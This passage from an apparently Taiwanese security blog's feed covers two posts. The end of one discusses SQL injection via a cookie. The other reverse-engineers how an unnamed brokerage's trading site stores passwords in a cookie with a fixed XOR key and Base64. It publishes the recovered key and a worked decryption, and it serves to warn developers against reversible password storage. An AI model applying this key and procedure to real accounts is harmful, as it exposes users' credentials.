&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR0UdQzd89kA2hqbXUl4-r9XqUj2fFheqqAqHOPyGSl5kpM2ekvnfSyZpEC4-2PmtWSK6wWF-UmMmb5X9uDhCASIodh1YLx40KuRxABaoeRR7OZZLObTjM7VZEfDAS8EW6kViEfeFrR0O-/s1283/ib04.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;585&quot; data-original-width=&quot;1283&quot; height=&quot;183&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR0UdQzd89kA2hqbXUl4-r9XqUj2fFheqqAqHOPyGSl5kpM2ekvnfSyZpEC4-2PmtWSK6wWF-UmMmb5X9uDhCASIodh1YLx40KuRxABaoeRR7OZZLObTjM7VZEfDAS8EW6kViEfeFrR0O-/w400-h183/ib04.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖4:修改Cookie裡的QuerySQL的語句&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
 &lt;div style=&quot;margin-top:8px&quot;&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGyI9N7GtvXwI6GbAOSsHrZD0MII15hmoUxOs5_es5Qh4CAN-nFGgYuQWrioT-CJaUVUcF55xQFB5VGH5VLIhHCfGCLlm-uT7ahZ0w-eoKgKDm79eNy88CY9Tn4I-7bkFROJuHKlQ3g4dB/s734/ib05.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;585&quot; data-original-width=&quot;1283&quot; height=&quot;183&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGyI9N7GtvXwI6GbAOSsHrZD0MII15hmoUxOs5_es5Qh4CAN-nFGgYuQWrioT-CJaUVUcF55xQFB5VGH5VLIhHCfGCLlm-uT7ahZ0w-eoKgKDm79eNy88CY9Tn4I-7bkFROJuHKlQ3g4dB/s734/ib05.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖5:從回傳的結果證實QuerySQL存在SQL Injection漏洞&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;

&lt;hr /&gt;
  &lt;fieldset style=&quot;background-color: #ffddff;&quot;&gt;
    &lt;legend style=&quot;background-color: #ffddff; font-size: 1.1em; font-weight: bold;&quot;&gt;再苦口婆心一次&lt;/legend&gt;
若需要在session之間交換資料，請使用後端的session變數記錄欲交換的內容，千萬不要使用Cookie或頁面上的隱藏欄位，面對駭客，Cookie及隱藏欄位絲毫不具防護能力！
  &lt;/fieldset&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://atic-tw.blogspot.com/feeds/8994001202478314317/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://atic-tw.blogspot.com/2021/02/cookiecookiesql-injection.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/8994001202478314317'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/8994001202478314317'/><link rel='alternate' type='text/html' href='http://atic-tw.blogspot.com/2021/02/cookiecookiesql-injection.html' title='&lt;span style=&quot;font-size:1.5em; color:#990000&quot;&gt;又是Cookie惹的禍！Cookie裡的SQL Injection&lt;/span&gt;'/><author><name>雅技資訊技術</name><uri>http://www.blogger.com/profile/06948808120337987647</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMLvtLJpRVu-HJGHSLR-dPFDgpanGhQ6rW3BZ81Rpn_XUeBKNeIoDB5TstG-8Qm6nYoRyk9DJR9xoCLb1M01ogZPC3N25S-wIJerr3H8XXCIspbnNO9lSRNKJY_Z5vqOnoz921qmYnj1fC/s72-w400-h315-c/ib01.PNG" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1967825056283652287.post-8228268941043674236</id><published>2021-02-21T08:43:00.000+08:00</published><updated>2021-02-21T08:43:03.097+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="滲透測試"/><category scheme="http://www.blogger.com/atom/ns#" term="網頁設計"/><category scheme="http://www.blogger.com/atom/ns#" term="資安工具"/><title type='text'>分享「破解密碼」的經驗</title><content type='html'>&lt;div style=&quot;border: 4px solid rgb(0, 0, 204); font-size: 1.2em; line-height: 200%; padding: 8px; word-break: normal;&quot;&gt;
&lt;fieldset style=&quot;background-color: #ffddff;&quot;&gt;
    &lt;legend style=&quot;background-color: #ffddff; font-size: 1.1em; font-weight: bold;&quot;&gt;提醒程式開發人員&lt;/legend&gt;
    許多文章及書籍都告戒「&lt;span style=&quot;color: #274e13;&quot;&gt;密碼應經雜湊(hash)或『經驗證』的強加密演算法處理後再保存&lt;/span&gt;」
  &lt;/fieldset&gt;
&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;b&gt;某券商&lt;/b&gt;的網路下單系統，在登入後或變更密碼時，會將此密碼編碼並紀錄在&lt;b&gt;Cookie&lt;/b&gt;裡，本文將說明如何破解從此&lt;b&gt;Cookie&lt;/b&gt;內容而得到明文密碼。&lt;b&gt;&lt;span style=&quot;color: #990000;&quot;&gt;基於職業道德，不便提供此下單系統的網址及細部資訊&lt;/span&gt;&lt;/b&gt;。&lt;/p&gt;
&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;b&gt;每次&lt;/b&gt;變更密碼後，檢視回應(response)的標頭(header)發現LoginPWD欄位值的長度是4的倍數(&lt;b&gt;圖1&lt;/b&gt;)，且字元符合BASE64編碼形式，猜測密碼是利用BASE64編碼後再記錄到Cookie，但是解碼LoginPWD的值卻得到亂碼(&lt;b&gt;圖2&lt;/b&gt;)，而非原來的密碼明文，推測「執行BASE64編碼前，密碼應該還進行其他編碼處理」。既然使用BASE64 to Text得到亂碼，只好改用BASE64 to Hex來觀查解碼後的內容(&lt;b&gt;圖3&lt;/b&gt;)。&lt;/p&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0oF-pradjOdrHJ555L0FCGbh9wPsKeDlRqnq0476gzcac2t6-U9D19ihwj3PEzrV8Oiw3NvphDWhMf-yW8VQqk1ijbc6csqZRqMfzPnUKzcouC8VT96cfgw4C5aRo0xJb6T-SH0KSzkf7/s1509/stock_01.png&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;778&quot; data-original-width=&quot;1509&quot; height=&quot;206&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0oF-pradjOdrHJ555L0FCGbh9wPsKeDlRqnq0476gzcac2t6-U9D19ihwj3PEzrV8Oiw3NvphDWhMf-yW8VQqk1ijbc6csqZRqMfzPnUKzcouC8VT96cfgw4C5aRo0xJb6T-SH0KSzkf7/w400-h206/stock_01.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖1:檢視回應內容的標頭資訊&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&amp;nbsp;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiC4yvB2zVLujvJSf1areVsoVQ4oQmsqaVBKPWcf23aKMxfWXzSlIOIw8sXym-5FDcKtqaZs2wzFI4V8sA0CdmSy4b6Th0MaVtSHOAidl6NXCyzLjFgLk4a6WPX-o09OITTbzgHqW4kMPp4/s597/stock_02.png&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;597&quot; data-original-width=&quot;487&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiC4yvB2zVLujvJSf1areVsoVQ4oQmsqaVBKPWcf23aKMxfWXzSlIOIw8sXym-5FDcKtqaZs2wzFI4V8sA0CdmSy4b6Th0MaVtSHOAidl6NXCyzLjFgLk4a6WPX-o09OITTbzgHqW4kMPp4/w326-h400/stock_02.png&quot; width=&quot;326&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖2:直接解碼只得到亂碼&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjW94IooJ__h0jgQ-iOgP1v2f_HT6OTu2WUqamwTngCmwrieLvPFPiRNLqFHKpuzRlrFyz88pWpeeUrkDalGFVWgE3-VSc-cmq8EC1SITG2J9hgs6L_MbbEoDLv6BSrDtuLHutNoYeMRxGU/s834/stock_03.png&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;834&quot; data-original-width=&quot;536&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjW94IooJ__h0jgQ-iOgP1v2f_HT6OTu2WUqamwTngCmwrieLvPFPiRNLqFHKpuzRlrFyz88pWpeeUrkDalGFVWgE3-VSc-cmq8EC1SITG2J9hgs6L_MbbEoDLv6BSrDtuLHutNoYeMRxGU/w258-h400/stock_03.png&quot; width=&quot;258&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖3:使用BASE64 to Hex查看解碼後的結果&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;/p&gt;
&lt;p&gt;要破解密碼，當然不會只使用一組資訊，&lt;b&gt;下表&lt;/b&gt;是筆者以不同的密碼得出下單系統回傳的&lt;b&gt;LoginPWD&lt;/b&gt;值，並和該密碼的BASE64編碼進行比較。&lt;/p&gt;
&lt;table border=&quot;1&quot; bordercolordark=&quot;#808080&quot; bordercolorlight=&quot;#808080&quot; cellpadding=&quot;2&quot; cellspacing=&quot;1&quot; style=&quot;border-collapse: collapse; font-size: 10pt;&quot;&gt;
  &lt;thead&gt;
     &lt;tr&gt;
       &lt;td&gt;NO&lt;/td&gt;
		&lt;td&gt;密碼&lt;/td&gt;
		&lt;td&gt;直接BASE64編碼&lt;/td&gt;
		&lt;td&gt;密碼的Hex&lt;/td&gt;
		&lt;td&gt;LoginPWD&lt;/td&gt;
		&lt;td&gt;解碼成Hex&lt;/td&gt;
	&lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
	&lt;tr&gt;
        &lt;td&gt;1&lt;/td&gt;
		&lt;td&gt;AaBbCcDdE012&lt;/td&gt;
		&lt;td&gt;QWFCY&lt;span style=&quot;background-color: #fcff01;&quot;&gt;&lt;span style=&quot;color: #674ea7;&quot;&gt;&lt;b&gt;kN&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;jRGRFMDEy&lt;/td&gt;
		&lt;td&gt;416142624363446445303132&lt;/td&gt;
		&lt;td&gt;AZiE4&lt;span style=&quot;background-color: #fcff01;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #674ea7;&quot;&gt;EE&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;KG79Npb05&lt;b&gt;&lt;span style=&quot;color: #2b00fe;&quot;&gt;nw==&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
		&lt;td&gt;019884E0410A1BBF4DA5BD399F&lt;/td&gt;
	&lt;/tr&gt;
	&lt;tr&gt;
      &lt;td&gt;2&lt;/td&gt;
		&lt;td&gt;AaBbCcdDe012&lt;/td&gt;
		&lt;td&gt;QWFCY&lt;span style=&quot;background-color: #fcff01;&quot;&gt;&lt;span style=&quot;color: #674ea7;&quot;&gt;&lt;b&gt;kN&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;jZERlMDEy&lt;/td&gt;
		&lt;td&gt;416142624363644465303132&lt;/td&gt;
		&lt;td&gt;AZiE4&lt;span style=&quot;background-color: #fcff01;&quot;&gt;&lt;span style=&quot;color: #674ea7;&quot;&gt;&lt;b&gt;EE&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;KO59tpb05&lt;span style=&quot;color: #2b00fe;&quot;&gt;&lt;b&gt;nw==&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
		&lt;td&gt;019884E0410A3B9F6DA5BD399F&lt;/td&gt;
	&lt;/tr&gt;
	&lt;tr&gt;
      &lt;td&gt;3&lt;/td&gt;
		&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;ABC123&lt;/span&gt;456789&lt;/td&gt;
		&lt;td&gt;QUJDMTIzNDU2Nzg5&lt;/td&gt;
		&lt;td&gt;414243313233343536373839&lt;/td&gt;
		&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;AbuFszBa&lt;/span&gt;a+4+orQy&lt;span style=&quot;color: #2b00fe;&quot;&gt;&lt;b&gt;nw==&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
		&lt;td&gt;01BB85B3305A6BEE3EA2B4329F&lt;/td&gt;
	&lt;/tr&gt;
	&lt;tr&gt;
      &lt;td&gt;4&lt;/td&gt;
		&lt;td&gt;abc123456789&lt;/td&gt;
		&lt;td&gt;YWJjMTIzNDU2Nzg5&lt;/td&gt;
		&lt;td&gt;616263313233343536373839&lt;/td&gt;
		&lt;td&gt;IZulszBaa+4+orQy&lt;span style=&quot;color: #2b00fe;&quot;&gt;&lt;b&gt;nw==&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
		&lt;td&gt;219BA5B3305A6BEE3EA2B4329F&lt;/td&gt;
	&lt;/tr&gt;
	&lt;tr&gt;
      &lt;td&gt;5&lt;/td&gt;
		&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;ABC123&lt;/span&gt;&lt;/td&gt;
		&lt;td&gt;QUJDMTIz&lt;/td&gt;
		&lt;td&gt;414243313233&lt;/td&gt;
		&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;AbuFszBa&lt;/span&gt;&lt;span style=&quot;color: #2b00fe;&quot;&gt;&lt;b&gt;Xw==&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
		&lt;td&gt;01BB85B3305A5F&lt;/td&gt;
	&lt;/tr&gt;
	&lt;tr&gt;
      &lt;td&gt;6&lt;/td&gt;
		&lt;td&gt;abc123&lt;/td&gt;
		&lt;td&gt;YWJjMTIz&lt;/td&gt;
		&lt;td&gt;616263313233&lt;/td&gt;
		&lt;td&gt;IZulszBa&lt;span style=&quot;color: #2b00fe;&quot;&gt;&lt;b&gt;Xw==&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
		&lt;td&gt;219BA5B3305A5F&lt;/td&gt;
	&lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;b&gt;從上表可以找出幾個現象&lt;/b&gt;&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;當密碼長度不一樣時，&lt;b&gt;LoginPWD&lt;/b&gt;的長度也不一樣，但仍&lt;span style=&quot;color: #cc0000;&quot;&gt;維持4的倍數&lt;/span&gt;。&lt;/li&gt;&lt;li&gt;&lt;b&gt;LoginPWD&lt;/b&gt;的長度都比直接BASE64編碼&lt;span style=&quot;color: #cc0000;&quot;&gt;多出4個字元&lt;/span&gt;，如上表LowinPWD欄的&lt;span style=&quot;color: #2b00fe;&quot;&gt;&lt;b&gt;粗藍&lt;/b&gt;&lt;/span&gt;字。&lt;/li&gt;&lt;li&gt;由於筆者測試的密碼都是3的倍數，而LoginPWD出多的4字元之&lt;b&gt;後兩碼&lt;/b&gt;皆為&lt;b&gt;==&lt;/b&gt;，依照BASE64的規則，代表有2個&lt;b&gt;填充&lt;/b&gt;字元，推測下單系統會先在&lt;b&gt;原密碼之後附加1字元&lt;/b&gt;再執行編碼。&lt;br /&gt;&lt;/li&gt;&lt;li&gt;比對各組密碼，相同位置相同字元，對應的&lt;b&gt;LoginPWD&lt;/b&gt;內容也相同，如項次3及5&lt;span style=&quot;color: red;&quot;&gt;紅字&lt;/span&gt;部分。 &lt;br /&gt;&lt;/li&gt;
&lt;/ol&gt;
  &lt;p&gt;&lt;b&gt;開始思考開發者可能使用的編碼方式&lt;/b&gt;&lt;/p&gt;
  &lt;ol&gt;
  &lt;li&gt;是不是使用對照表轉換BASE64的編碼字元？&lt;br /&gt;但從上表項次1或2的&lt;span style=&quot;background-color: #fcff01;&quot;&gt;黃底&lt;/span&gt;字看到&lt;b&gt;k&lt;/b&gt;及&lt;b&gt;N&lt;/b&gt;都對應到&lt;b&gt;E&lt;/b&gt;，顯然不合理。&lt;/li&gt;&lt;li&gt;是不是使用特定KEY進行轉碼？&lt;br /&gt;試著將「密碼的Hex」與「解碼成Hex」的值進行&lt;b&gt;XOR&lt;/b&gt;運算(「解碼成Hex」的最後一碼是附加的，故先捨棄），結果如下表的「XOR結果」欄 &lt;br /&gt;&lt;/li&gt;
&lt;/ol&gt;
  &lt;table border=&quot;1&quot; bordercolordark=&quot;#808080&quot; bordercolorlight=&quot;#808080&quot; cellpadding=&quot;2&quot; cellspacing=&quot;1&quot; style=&quot;border-collapse: collapse; font-size: 10pt;&quot;&gt;
  &lt;thead&gt;
     &lt;tr&gt;
       &lt;td&gt;NO&lt;/td&gt;
		&lt;td&gt;密碼&lt;/td&gt;
		&lt;td&gt;密碼的Hex&lt;/td&gt;
		&lt;td&gt;解碼成Hex&lt;/td&gt;
       &lt;td&gt;XOR結果&lt;/td&gt;
	&lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
	&lt;tr&gt;
        &lt;td&gt;1&lt;/td&gt;
		&lt;td&gt;AaBbCcDdE012&lt;/td&gt;
		&lt;td&gt;416142624363446445303132&lt;/td&gt;
		&lt;td&gt;019884E0410A1BBF4DA5BD399F&lt;/td&gt;
      &lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;40F9C6820269&lt;/span&gt;&lt;span style=&quot;background-color: #ea9999;&quot;&gt;5F&lt;/span&gt;DB08958C0B&lt;/td&gt;
	&lt;/tr&gt;
	&lt;tr&gt;
      &lt;td&gt;2&lt;/td&gt;
		&lt;td&gt;AaBbCcdDe012&lt;/td&gt;
		&lt;td&gt;416142624363644465303132&lt;/td&gt;
		&lt;td&gt;019884E0410A3B9F6DA5BD399F&lt;/td&gt;
      &lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;40F9C6820269&lt;/span&gt;&lt;span style=&quot;background-color: #ea9999;&quot;&gt;5F&lt;/span&gt;DB08958C0B&lt;/td&gt;
	&lt;/tr&gt;
	&lt;tr&gt;
      &lt;td&gt;3&lt;/td&gt;
		&lt;td&gt;ABC123456789&lt;/td&gt;
		&lt;td&gt;414243313233343536373839&lt;/td&gt;
		&lt;td&gt;01BB85B3305A6BEE3EA2B4329F&lt;/td&gt;
      &lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;40F9C6820269&lt;/span&gt;&lt;span style=&quot;background-color: #ea9999;&quot;&gt;5F&lt;/span&gt;DB08958C0B&lt;/td&gt;
	&lt;/tr&gt;
	&lt;tr&gt;
      &lt;td&gt;4&lt;/td&gt;
		&lt;td&gt;abc123456789&lt;/td&gt;
		&lt;td&gt;616263313233343536373839&lt;/td&gt;
		&lt;td&gt;219BA5B3305A6BEE3EA2B4329F&lt;/td&gt;
      &lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;40F9C6820269&lt;/span&gt;&lt;span style=&quot;background-color: #ea9999;&quot;&gt;5F&lt;/span&gt;DB08958C0B&lt;br /&gt;&lt;/td&gt;
	&lt;/tr&gt;
	&lt;tr&gt;
      &lt;td&gt;5&lt;/td&gt;
		&lt;td&gt;ABC123&lt;/td&gt;
		&lt;td&gt;414243313233&lt;/td&gt;
		&lt;td&gt;01BB85B3305A&lt;span style=&quot;background-color: #ea9999;&quot;&gt;5F&lt;/span&gt;&lt;/td&gt;
      &lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;40F9C6820269&lt;/span&gt;&lt;br /&gt;&lt;/td&gt;
	&lt;/tr&gt;
	&lt;tr&gt;
      &lt;td&gt;6&lt;/td&gt;
		&lt;td&gt;abc123&lt;/td&gt;
		&lt;td&gt;616263313233&lt;/td&gt;
		&lt;td&gt;219BA5B3305A&lt;span style=&quot;background-color: #ea9999;&quot;&gt;5F&lt;/span&gt;&lt;/td&gt;
      &lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;40F9C6820269&lt;/span&gt;&lt;br /&gt;&lt;/td&gt;
	&lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;b&gt;從上表的「XOR結果」得到如下結論&lt;/b&gt;&lt;/p&gt;
 &lt;ol&gt;
   &lt;li&gt;從項次1到6的&lt;b&gt;XOR&lt;/b&gt;結果，可知下單系統會&lt;b&gt;逐字元&lt;/b&gt;進行&lt;b&gt;XOR&lt;/b&gt;處理。&lt;/li&gt;
   &lt;li&gt;由項次5多出來的「&lt;span style=&quot;background-color: #ea9999;&quot;&gt;5F&lt;/span&gt;」，與項次4同一位置的KEY相同，得知下單系統附加的字元是ASCII的&lt;b&gt;NUL&lt;/b&gt;字元（十六進制碼 &lt;span style=&quot;background-color: #ea9999;&quot;&gt;&lt;b&gt;00&lt;/b&gt;&lt;/span&gt;）。&lt;/li&gt;
 &lt;/ol&gt;
  &lt;p&gt;目前&lt;b&gt;解得35碼的XOR Key值&lt;/b&gt;是「40F9C68202695FDB08958C0B9F74F518BC6361D42F22998F31B2895B67BF64AA505D528E」，亦即「0x40,0xF9,0xC6,0x82,0x02,0x69,0x5F,0xDB,0x08,0x95,0x8C,0x0B,0x9F,0x74,0xF5,0x18,0xBC,0x63,0x61,0xD4,0x2F,0x22,0x99,0x8F,0x31,0xB2,0x89,0x5B,0x67,0xBF,0x64,0xAA,0x50,0x5D,0x52,0x8E」&lt;/p&gt;
  &lt;p&gt;知道XOR的Key值後，就能對任意LoginPWD進行解碼，步驟如下：&lt;/p&gt;
   &lt;ol&gt;
   &lt;li&gt;先將&lt;b&gt;LoginPWD&lt;/b&gt;進行&lt;a href=&quot;https://base64.guru/converter/decode/hex&quot;&gt;&lt;b&gt;BASE64 to Hex&lt;/b&gt;&lt;/a&gt;解碼，得到十六進制結果，以&lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;HEX&lt;/b&gt;&lt;/span&gt;表示。&lt;/li&gt;
   &lt;li&gt;將&lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;HEX&lt;/b&gt;&lt;/span&gt;的最右邊的Byte捨棄，因它是附加的字元NUL，無關緊要。以&lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;HEX2&lt;/b&gt;&lt;/span&gt;表示。&lt;br /&gt;&lt;/li&gt;&lt;li&gt;從XOR Key的左邊取出和&lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;HEX2&lt;/b&gt;&lt;/span&gt;等長的資料，以&lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;KEY2&lt;/b&gt;&lt;/span&gt;表示。&lt;/li&gt;
     &lt;li&gt;將&lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;HEX2&lt;/b&gt;&lt;/span&gt;與&lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;KEY2&lt;/b&gt;&lt;/span&gt;進行&lt;a href=&quot;http://xor.pw/&quot;&gt;&lt;b&gt;XOR&lt;/b&gt;&lt;/a&gt;，&lt;/li&gt;&lt;li&gt;將得到的十六進制值&lt;a href=&quot;https://www.rapidtables.com/convert/number/hex-to-ascii.html&quot;&gt;&lt;b&gt;轉成ASCII&lt;/b&gt;&lt;/a&gt;即得到密碼明文。&lt;/li&gt;
 &lt;/ol&gt;
  &lt;p&gt;就以「&lt;b&gt;LoginPWD: E62TszBaa+4+orQynw==&lt;/b&gt;」為例：&lt;/p&gt;
   &lt;ol&gt;
   &lt;li&gt;先將「&lt;b&gt;&lt;span style=&quot;color: #0c343d;&quot;&gt;E62TszBaa+4+orQynw==&lt;/span&gt;&lt;/b&gt;」進行&lt;a href=&quot;https://base64.guru/converter/decode/hex&quot;&gt;BASE64 to Hex&lt;/a&gt;解碼，得到「&lt;span style=&quot;color: #2b00fe;&quot;&gt;&lt;b&gt;13AD93B3305A6BEE3EA2B4329F&lt;/b&gt;&lt;/span&gt;」。&lt;/li&gt;
   &lt;li&gt;將「&lt;span style=&quot;color: #2b00fe;&quot;&gt;&lt;b&gt;13AD93B3305A6BEE3EA2B4329F&lt;/b&gt;&lt;/span&gt;」最右邊的Byte(即9F)捨棄，剩12Byte。&lt;br /&gt;&lt;/li&gt;
     &lt;li&gt;從XOR Key的左邊取出12Byte，即「&lt;span style=&quot;color: #b45f06;&quot;&gt;&lt;b&gt;40F9C68202695FDB08958C0B&lt;/b&gt;&lt;/span&gt;」。&lt;br /&gt;&lt;/li&gt;&lt;li&gt;將「&lt;span style=&quot;color: #2b00fe;&quot;&gt;&lt;b&gt;13AD93B3305A6BEE3EA2B432&lt;/b&gt;&lt;/span&gt;」與「&lt;span style=&quot;color: #b45f06;&quot;&gt;&lt;b&gt;40F9C68202695FDB08958C0B&lt;/b&gt;&lt;/span&gt;」進行XOR即得「&lt;b&gt;&lt;span style=&quot;color: #990000;&quot;&gt;535455313233343536373839&lt;/span&gt;&lt;/b&gt;」。&lt;/li&gt;&lt;li&gt;將「&lt;b&gt;&lt;span style=&quot;color: #990000;&quot;&gt;535455313233343536373839&lt;/span&gt;&lt;/b&gt;」&lt;a href=&quot;https://www.rapidtables.com/convert/number/hex-to-ascii.html&quot;&gt;轉成ASCII&lt;/a&gt;，得到密碼明文「&lt;span style=&quot;background-color: #f4cccc; font-size: large;&quot;&gt;&lt;b&gt;STU123456789&lt;/b&gt;&lt;/span&gt;」。 &lt;br /&gt;&lt;/li&gt;
 &lt;/ol&gt;

&lt;hr /&gt;
&lt;fieldset style=&quot;background-color: #bbffbb;&quot;&gt;
    &lt;legend style=&quot;background-color: #bbffbb; font-weight: bold;&quot;&gt;使用的線上工具如下&lt;/legend&gt;
  &lt;p&gt;&lt;b&gt;BASE64 編碼／解碼&lt;/b&gt;：&lt;a href=&quot;https://base64.guru/converter/decode/hex&quot;&gt;https://base64.guru/converter/decode/hex&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;XOR 計算器&lt;/b&gt;：&lt;a href=&quot;http://xor.pw/&quot;&gt;http://xor.pw/&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;ASCII/HEX轉換&lt;/b&gt;：&lt;a href=&quot;https://www.rapidtables.com/convert/number/hex-to-ascii.html&quot;&gt;https://www.rapidtables.com/convert/number/hex-to-ascii.html&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;/fieldset&gt;
